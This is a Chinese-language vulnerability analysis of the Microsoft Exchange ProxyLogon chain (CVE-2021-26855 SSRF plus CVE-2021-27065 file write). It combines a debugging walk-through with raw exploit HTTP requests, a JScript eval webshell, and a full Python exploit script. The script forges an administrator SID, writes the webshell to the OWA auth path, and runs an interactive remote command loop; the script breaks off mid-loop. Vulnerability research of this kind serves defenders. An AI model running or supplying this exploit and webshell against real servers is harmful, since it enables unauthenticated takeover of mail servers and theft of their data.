Windows Exchange组件漏洞分析(一):ProxyLogon
2023-3-31 10:4:40 Author: 红队蓝军(查看原文) 阅读量:16 收藏

参考文章

漏洞组成:SSRF+RCE(CVE-2021-26855、CVE-2021-27065)

环境搭建

windows server 2016 下载地址

windows server 2016虚拟机安装

exchange 15.1.2106.2 漏洞环境搭建

其中CVE-2021–26855是一个SSRF,攻击者可以不经过任何类型的身份验证来利用此漏洞,只需要能够访问Exchange服务器即可;与此同时,CVE-2021–27065是一个任意文件写入漏洞,它需要登陆的管理员账号权限才能触发。因此,两者的结合可以造成未授权的webshell写入,属于非常高危的安全漏洞。

组件架构

Exchange不同版本的组件架构并不相同,但总体上可以将其分为核心的邮箱服务器角色(Mailbox Role)和可选的边缘传输角色(Edge Transport Role)。

Exchange作为边缘传输角色时部署在内外网交界处,充当邮件安全网关

Exchange作为邮箱服务器角色时分为客户端访问服务(Client Access Services)和后端服务(Backend Services)部分,CAS负责校验用户身份并将请求反代至具体的后端服务。

CAS对应IIS中的Default Web Site监听在80和443端口,BS对应IIS中的Exchange Back End监听在81和444端口。

出于解耦和兼容考虑,各个功能被封装为多个模块,有如下常用功能(缩写名对应URL访问路径):

OWA(Outlook Web App)
ECP(Exchange Control Panel)
EWS(Exchange Web Service)
Autodiscover
MAPI(Messaging Application Programming Interface)
EAS(Exchange ActiveSync)
OAB(Offline Address Books)
PowerShell

CVE-2021-26855漏洞分析

漏洞poc

POST /ecp/target.js HTTP/1.1
Host: localhost
Connection: close
Cookie: X-BEResource=[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753
Content-Type: text/xml
Content-Length: 337

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
    <EMailAddress>[email protected]</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

正常的通过autodiscover读取配置信息的请求包。

POST /autodiscover/autodiscover.xml HTTP/1.1
Host: 192.168.1.1
Content-Length: 351
Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHYAAACuAK4AjgAAABYAFgBAAAAACgAKAFYAAAAWABYAYAAAAAAAAAA8AQAABQKIoDEAOQAyAC4AMQA4ADgALgAxAC4AMQB0AGUAcwB0ADEAMQA5ADIALgAxADYAOAAuADEALgAxABlZOdtFpFcfJQY7ysotO0RJVlczdGVrae1Bq6PIhSQWZ5F4VJTTyL8BAQAAAAAAAOiYz4Q0XtYBSVZXM3Rla2kAAAAAAgAIAFQARQBTAFQAAQAGAEQAQwAxAAQAEABAAGUAcwB0AC5AYwBvAG0AAwAYAGQAYwAxAC5AdABlAHMAdAAuAGMAbwBtAAUAEAB0AGUAcwB0AC4AYwBvAG0ABwAIAOiYz3Q0XtYBCQAQAGMAaQBmAHMALwBEAEMAMQAAAAAAAAAAAA==
Content-type: text/xml
X-Anchormailbox: [email protected]
X-Mapihttpcapability: 1
Accept-Encoding: gzip

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
    <EMailAddress>[email protected]</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

poc中的几个问题

  • 关于/ecp/target.js路由的问题,target.js是否是必须的。
  • cookie中的X-BEResource字段是干什么用的,
  • X-BEResource字段的值为何构造成了[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753这种形式。

漏洞存在于Microsoft.Exchange.FrontEndHttpProxy.dll中:

applicationPool.MSExchangeECPAppPool是本次漏洞的相关进程.于是可以在dnspy中,点击调试->附加到进程->选中进程->附加。之后就可以下断点进行调试了。

漏洞分析

Microsoft.Exchange.FrontEndHttpProxy调试入口为 Microsoft.Exchange.HttpProxy.ProxyModule的SelectHandlerForAuthenticatedRequest方法

BEResourceRequestHandler是一个用于处理向后端进行资源型请求的类,如请求js,png,css文件等。它在函数SelectHandlerForUnauthenticatedRequest中被引用。

然后可看到有三个if语句对不同的条件进行处理。

在IsEDiscoveryExportToolRequest做了如下操作。判断exporttool是否会出现在url的绝对路径中,而我们请求路径中不能包含exporttool,然后返回false。

        // Token: 0x0600157C RID: 5500 RVA: 0x0003C668 File Offset: 0x0003A868
        public static bool IsEDiscoveryExportToolRequest(HttpRequestBase request)
        
{
            string absolutePath = request.Url.AbsolutePath;
            if (string.IsNullOrEmpty(absolutePath))
            {
                return false;
            }
            if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
            {
                return false;
            }
            EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
            return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath) || EDiscoveryExportToolRequestPathHandler.applicationCurrentPathRegex.IsMatch(absolutePath);
        }

最后一个if是判断BEResourceRequestHandler.CanHandle(httpContext.Request)

在CanHandle 中可以发现需要满足两个条件

然后httpHandler会被设置为BEResourceRequestHandler的一个实例,由于BEResourceRequestHandler继承于ProxyRequstHandler,因此会进入((ProxyRequestHandler)httpHandler).Run(context),并最终在HttpContext.RemapHandler中把该httpHandler设置给this._remapHandler,即是context.Handler。

然后会进行一些列函数调用

Microsoft.Exchange.HttpProxy.ProxyRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd -->BEResourceRequestHandler.ResolveAnchorMailbox 最终进入到漏洞函数ResolveAnchorMailbox。可以看到首先调用GetBEResourceCookie获取到Cookie中含有X-BEResource键的值

在判断 cookie中含有X-BEResource键的值不为空后,调用FromString处理。可以看到利用~来分割值,然后要求分割后的数组长度为2,也就是我们的cookie值中只含有一个~字符,并且~后面即为verison版本号,否则会报错。最后返回一个BackEndServer实例对象。

例如X-BEResource=[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753

经过处理后就为

-array[0] = [name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#
version = array[1] = 1941962753

分割后的结果是这样的。

函数继续执行,下面经过一系列函数调用:后端服务器的目标FQDN()计算完后调用OnCalculateTargetBackEndCompleted函数。这里的fqdn就是win-v2jneuvoljv.test.com

FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
例如:主机名是bigserver,域名是mycompany.com,那么FQDN就是bigserver.mycompany.com。 [1

OnCalculateTargetBackEndCompleted函数,该函数又调用InternalOnCalculateTargetBackEndCompleted函数

紧接着调用BeginValidateBackendServerCacheOrProxyOrRecalculate函数,

然后调用BeginProxyRequestOrRecalculate函数,

最终进入到BeginProxyRequest函数中调用GetTargetBackendServerUrl

GetTargetBackendServerUrl中将调用GetClientUrlForProxy函数构造发起请求的URL。这里有个关键点,如果版本大于Server.E15MinVersion,ProxyToDownLevel则为false,这个是一个重点之一,因为后续会判断ProxyToDownLevel是否为true,true的话就无法绕过身份验证。

第二个关键点就是this.AnchoredRoutingTarget.BackEndServer.Fqdn;该位置的值可控,那么result的值也可控。

Server.E15MinVersion值

然后这段代码实例化了一个 UrlBuilder类,涉及三个关键属性,Scheme、Host 和 Port。Schema 被设置为https;Host 取自于 BackEndServer.Fqdn,看一下 Host.Set() :

可以看到在这个函数里面判断host第一个字符是否为[并且其中是否含有:,如果都满足就将其用[]包裹起来。

所以举个例子,如果我们设置为这样

[email protected]:443/autodiscover/autodiscover.xml?#~1941962753

最后赋值完的结果是这样的。

但在给Post字段赋值完后会自动进行重新解析,变成下面这样:

在将上面三个属性赋值后,该函数就返回了 clientUrlForProxy.Uri,查看Uri 的get方法:

调用了 UriBuilder.ToString() 方法来取得最终的 指向BackEnd 的目标url。在 ToString() 中对各个参数进行拼接,形成url。

拼接完就是这样的

最终在调用this.CreateServerRequest将uri发送给后端服务器

调用this.PrepareServerRequest(httpWebRequest);

进行身份认证。可以看到这里就判断了ProxyToDownLevel是否为true,为false会直接报错。

调用 GenerateKerberosAuthHeader()函数来 创建Kerberos 认证头部。这也是中间代理能够访问BackEnd Server的原因 。

ShouldBlockCurrentOAuthRequest函数里的ProxyToDownLevel是用来检查用户是否已通过身份验证;而当有请求调用BEResourceRequestHandler时,ShouldBackendRequestBeAnonymous()就会被调用。绕过认证,然后把数据包组成后发送给后端。后端响应请求,把数据返回给客户端。最后达到一个SSRF漏洞攻击的过程。

经过上面的分析,我们回答了一开始的问题:

/ecp/target.js 不是必须的,它可以是其他的路径 /ecp/xxxxxxxx.png

X-BEResource 用于代理请求,其原本格式应该是 [fqdn]~BackEndServerVersion

BackEndServerVersion 应该大于1941962752,‘#’ 用于在有url请求参数时分隔参数。

而且我们知道了X-BEResource 实际上完全不需要 ] 去闭合中括号,我们完全可以直接用[]来将name 括起来,比如下面这样:

[name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753

CVE-2021–27065

漏洞成因

Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验写文件后缀,可由文件内容部分可控的相关功能写入WebShell。Microsoft.Exchange.Management.DDIService.WriteFileActivity中有一处明显的补丁变动,使得文件后缀名只能为txt。

在Exchange服务器上依次打开[管理中心] -> [服务器] -> [虚拟目录] -> [OAB虚拟目录]。

在url中填入一句话木马。

http://ffff/#<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>

查看请求包,使用的是/ecp/DDI/DDIService.svc/SetObject接口

POST /ecp/DDI/DDIService.svc/SetObject?ActivityCorrelationID=30a0575a-5ee8-8b03-181a-ea1cdc1fb7b4&schema=OABVirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.

在重置位置,填入文件保存目录,然后重置。

\\127.0.0.1\c$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\kkfine.aspx

查看请求包。请求中有一个关键参数msExchEcpCanary,如果没有这个参数,服务端返回500错误。这个参数的值可以利用CVE-2021-26855 SSRF漏洞通过多次请求获取。

可以看到第一个请求包是设置文件保存路径的请求包,使用的也是/ecp/DDI/DDIService.svc/SetObject接口,并且msExchEcpCanary和ActivityCorrelationID参数也是一样的。仔细观察其实就是请求包里面的字段ExternalUrl变为了FilePathName

/ecp/DDI/DDIService.svc/SetObject?ActivityCorrelationID=30a0575a-5ee8-8b03-181a-ea1cdc1fb7b4&schema=OABVirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.

第二个是点击重置的请求包,使用的是/ecp/DDI/DDIService.svc/GetList接口

 /ecp/DDI/DDIService.svc/GetList?ActivityCorrelationID=085910a4-27c2-5616-c475-1164aa5d54d6&schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.

然后可以看到,靶机上已经能够看到上传的木马文件。

重置完成,访问木马文件

漏洞利用

所以我们的攻击思路就是首先需要通过ssrf获取到域用户的cookie,然后通过文件上传来写马。

获取server name

GET /ecp/target.js HTTP/1.1
Host: localhost
Connection: close
Cookie: X-BEResource=localhost/owa/auth/logon.aspx?~1941962753
Content-Type: text/xml
Content-Length: 0

利用500回显查看到X-Feserver: WIN-V2JNEUVOLJV中server name即为WIN-V2JNEUVOLJV

获取域用户cookie

这里ssrf去访问autodiscover.xml自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。autodiscover.xml文件中包含有LegacyDN 的值

通过SSRF漏洞读取autodiscover.xml文件,获取LegacyDN的值;

POST /ecp/target.js HTTP/1.1
Host: localhost
Connection: close
Cookie: X-BEResource=name]@win-v2jneuvoljv.test.com:443/autodiscover/autodiscover.xml?#~1941962753
Content-Type: text/xml
Content-Length: 337

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
    <EMailAddress>[email protected]</EMailAddress>
    <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

利用Legacy DN获取SID

消息处理API(MAPI)是Outlook用于接收和发送电子邮件相关信息的API,在Exchange 2016以及2019当中,微软又为其加入了MAPI over HTTP机制,使得Exchange和Outlook可以在标准的HTTP协议模型之下利用MAPI进行通信。整个MAPI over HTTP的协议标准可以在官方文档中查询。为了获取对应邮箱的SID,如下图所示的exploit中利用了用于发起一个新会话的Connect类型请求。

POST /ecp/1.js HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/mapi/emsmdb?~1941962754
Content-Type: application/mapi-http
X-Requesttype: Connect
X-Clientinfo: x
X-Clientapplication: Outlook/15.0.4815.1002
X-Requestid: x
Content-Length: 151

/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=cb4034a0f211454d89075d7b5f20cbfa-Admin+ \x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00

POST 请求格式为

legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

一个正常的Connect类型请求如图所示,包含UserDn等多个字段,其中UserDn指的是用户在该域中的专有名称(Distinguish Name),该字段已被我们通过上一步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx方法执行。由于发起请求的RPC客户端的权限为SYSTEM,对应的SID为S-1-5-18,与请求中给出的DN所对应的SID不匹配,于是响应中返回错误信息,该信息中包含了DN所对应的SID,从而达到了目的。

使用sid获取cookie

请求包

POST /ecp/1.js HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/proxyLogon.ecp?#~1941962753
Content-Type: text/xml
Content-Length: 256
msExchLogonMailbox: S-1-5-18

<r at="Negotiate" ln="Administrator"><s>S-1-5-21-254742065-2746332885-3299130760-500</s><s a="7" 
    t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s 
    a="3221225479" t="1">S-1-5-5-0-6948923</s></r> 

在该物理路径下的.NET应用配置文件web.config中定义了不同路径的HTTP请求对应的处理函数,检索可知路径proxyLogon.ecp是由ProxyLogonHandler来处理的,然而对相应的dll进行反编译后发现该Handler仅修改了HTTP响应的状态码。

最终通过调试后发现,真正与msExchEcpCanary以及ASP.NET_SessionId相关的代码是在类RbacModule中的,通过web.config可以看到RbacModule作为应用的其中一个模块用于处理HTTP请求。

在该模块中由函数Application_PostAuthenticateRequest具体实现对HTTP请求的解析。相关关键代码如下,首先函数根据httpContext生成AuthenticationSettings实例。

在AuthenticationSettings的构造函数中,由于所有的if语句均不满足,函数会根据context生成一个RbacSettings实例,并赋值给自己的Session属性。

而在RbacSettings的构造函数中,函数会判断请求路径是否以/proxyLogon.ecp结尾,若是则进入下方的if分支,利用请求数据创建SerializedAccessToken实例。

分析SerializedAccessToken类,可知该类会将访问令牌序列化成XML格式,其中根节点的名字为r,根节点的at属性对应访问令牌中的认证类型、ln属性对应访问令牌中的登录名称;根节点的子节点为SID节点,节点名字为s,当中的属性t对应SID类型,属性a对应SID属性,节点中的文本为SID。其序列化函数定义如下,可以看到令牌大致与Windows中的安全访问令牌内容相似。

随后构造函数根据请求头部的msExchLogonMailbox字段以及logonUserIdentity变量调用GetInboundProxyCaller函数获取该代理请求的发起服务器。若返回结果不为空则调用EcpLogonInformation.Create函数创建一个EcpLogonInformation实例,再用该实例创建一个EcpIdentity实例。

Create函数首先根据logonMailboxSddlSid生成安全标识符实例,然后根据proxySecurityAccessToken参数生成SerialzedIdentity实例,并最后生成EcpLogonInformation实例。而根据名称可知logonUserIdentity定义了登入用户的权限,因而我们能够得到任意SID对应用户的权限。

之后程序回到RbacSettings的构造函数中,在响应中添加ASP.NET_SessionIdCookie。

程序接下来返回到RbacModule的函数中,在AuthenticationSettings实例生成后其Session属性被赋值给httpContext.User,并进入if分支调用CheckCanary函数。

CheckCanary函数又将调用如下所示的SendCanary函数,该函数首先从请求的Cookie中读取Canary并尝试恢复,若成功则函数直接返回,否则生成一个新的Canary并将其加入到响应的Cookie中。从而我们能够构造满足要求的请求通过SSRF访问ecp/proxyLogon.ecp获得管理员的凭证。

文件上传

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/GetObject?schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.#~1; ASP.NET_SessionId=2c6b26f5-6662-4e85-a8cb-44e7851baea2; msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9o

\

IdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
Content-Type: application/json; 
msExchLogonMailbox: S-1-5-20
Content-Length: 162

{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "OAB"}}}

POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/GetObject?schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.#~1; ASP.NET_SessionId=2c6b26f5-6662-4e85-a8cb-44e7851baea2; msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399

{"identity":{"__type":"Identity:ECP","DisplayName":"OAB (Default Web Site)","RawIdentity":"8bb65fea-5a07-4d88-ac1b-bc9de2740cd9"},"properties":{"Parameters":{"__type":"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel","ExternalUrl":"http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/

eval(Request[\"code\"],\"unsafe\");}</script>"}}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: [email protected]:444/ecp/DDI/DDIService.svc/GetObject?schema=VirtualDirectory&msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.#~1; ASP.NET_SessionId=2c6b26f5-6662-4e85-a8cb-44e7851baea2; msExchEcpCanary=AQB_nzZ3TkaV7UmDQbbI4GBeZYlBt9oIdPNrql9tKVyzP6vDQRsOmEkxlP1NDQK1d5dAhz17bCI.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399

{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}

攻击脚本

借用网上的exp

# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

fuzz_email = ['administrator''webmaste''support''sales''contact''admin''test',
              'test2''test01''test1''guest''sysadmin''info''noreply''log''no-reply']

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if __name__=="__main__":
    parser = argparse.ArgumentParser(
        description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
    parser.add_argument('-u', type=str,
                        help='target')
    parser.add_argument('-user',
                        help='exist email', default='')
    parser.add_argument('-suffix',
                        help='email suffix')
    args = parser.parse_args()
    target = args.u
    suffix = args.suffix
    if suffix == "":
        print("请输入suffix")

    exist_email = args.user
    if exist_email:
        fuzz_email.insert(0, exist_email)
    random_name = id_generator(4) + ".js"
    print("目标 Exchange Server: " + target)

    for i in fuzz_email:
        new_email = i+suffix
        autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
"""
 % new_email
        # print("get FQDN")
        FQDN = "EXCHANGE01"
        ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie""X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False, proxies=proxies)

        if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
            FQDN = ct.headers["X-FEServer"]
            print("got FQDN:" + FQDN)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie""X-BEResource=%s/autodiscover/autodiscover.xml?a=~1941962757;" % FQDN,
            "Content-Type""text/xml",
            "User-Agent": user_agent},
            data=autoDiscoverBody,
            proxies=proxies,
            verify=False
        )

        if ct.status_code != 200:
            print(ct.status_code)
            print("Autodiscover Error!")

        if "<LegacyDN>" not in str(ct.content):
            print("Can not get LegacyDN!")
        try:
            legacyDn = str(ct.content).split("<LegacyDN>")[
                1].split(r"</LegacyDN>")[0]
            print("Got DN: " + legacyDn)

            mapi_body = legacyDn + \
                "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie""[email protected]%s:444/mapi/[email protected]ab&a=~1942062522;" % FQDN,
                "Content-Type""application/mapi-http",
                "X-Requesttype""Connect",
                "X-Clientinfo""{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
                "X-Clientapplication""Outlook/15.0.4815.1002",
                "X-Requestid""{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
                "User-Agent": user_agent
            },
                data=mapi_body,
                verify=False,
                proxies=proxies
            )
            if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
                print("Mapi Error!")
                exit()

            sid = str(ct.content).split("with SID ")[
                1].split(" and MasterAccountSid")[0]

            print("Got SID: " + sid)
            sid = sid.replace(sid.split("-")[-1], "500")

            proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
            """
 % sid

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie""[email protected]%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                "Content-Type""text/xml",
                "msExchLogonMailbox""S-1-5-20",
                "User-Agent": user_agent
            },
                data=proxyLogon_request,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 241 or not "set-cookie" in ct.headers:
                print("Proxylogon Error!")
                exit()

            sess_id = ct.headers['set-cookie'].split(
                "ASP.NET_SessionId=")[1].split(";")[0]

            msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
                1].split(";")[0]
            print("Got session id: " + sess_id)
            print("Got canary: " + msExchEcpCanary)

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                # "Cookie": "[email protected]%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

                "Cookie""[email protected]{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                            format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                    msExchEcpCanary=msExchEcpCanary),
                            "Content-Type""application/json; charset=utf-8",
                            "msExchLogonMailbox""S-1-5-20",
                            "User-Agent": user_agent

                            },
                            json={"filter": {
                                "Parameters": {"__type""JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "SelectedView""""SelectedVDirType""OAB"}}, "sort": {}},
                            verify=False,
                            proxies=proxies
                            )

            if ct.status_code != 200:
                print("GetOAB Error!")
                exit()
            oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
            print("Got OAB id: " + oabId)

            oab_json = {"identity": {"__type""Identity:ECP""DisplayName""OAB (Default Web Site)""RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type""JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                        "ExternalUrl""http://ffff/#%s" % shell_content}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie""[email protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox""S-1-5-20",
                "Content-Type""application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=oab_json,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 200:
                print("Set external url Error!")
                exit()

            reset_oab_body = {"identity": {"__type""Identity:ECP""DisplayName""OAB (Default Web Site)""RawIdentity": oabId},
                            "properties": {
                                "Parameters": {"__type""JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "FilePathName": shell_absolute_path}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie""[email protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox""S-1-5-20",
                "Content-Type""application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=reset_oab_body,
                proxies=proxies,
                verify=False
            )

            if ct.status_code != 200:
                print("写入shell失败")
                exit()
            shell_url = "https://"+target+"/owa/auth/test11.aspx"
            print("成功写入shell:" + shell_url)
            print("下面验证shell是否ok")
            print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
            print("正在请求shell")
            import time
            time.sleep(1)
            data = requests.post(shell_url, data={
                                "code""Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
            if data.status_code != 200:
                print("写入shell失败")
            else:
                print("shell:"+data.text.split("OAB (Default Web Site)")
                    [0].replace("Name                            : """))
                print('[+]用户名: '+ new_email)
                final_shell = shell_url
                break
        except:
            print('[-]用户名: '+new_email)
            print("=============================")
    if not final_shell:
        sys.exit()
    print("下面启用交互式shell")
    while True:
        input_cmd = input("[#] command: ")
        data={"code""""Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
        ct = requests.post(
            final_shell,
            data=data,verify=False, proxies=proxies)
        if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
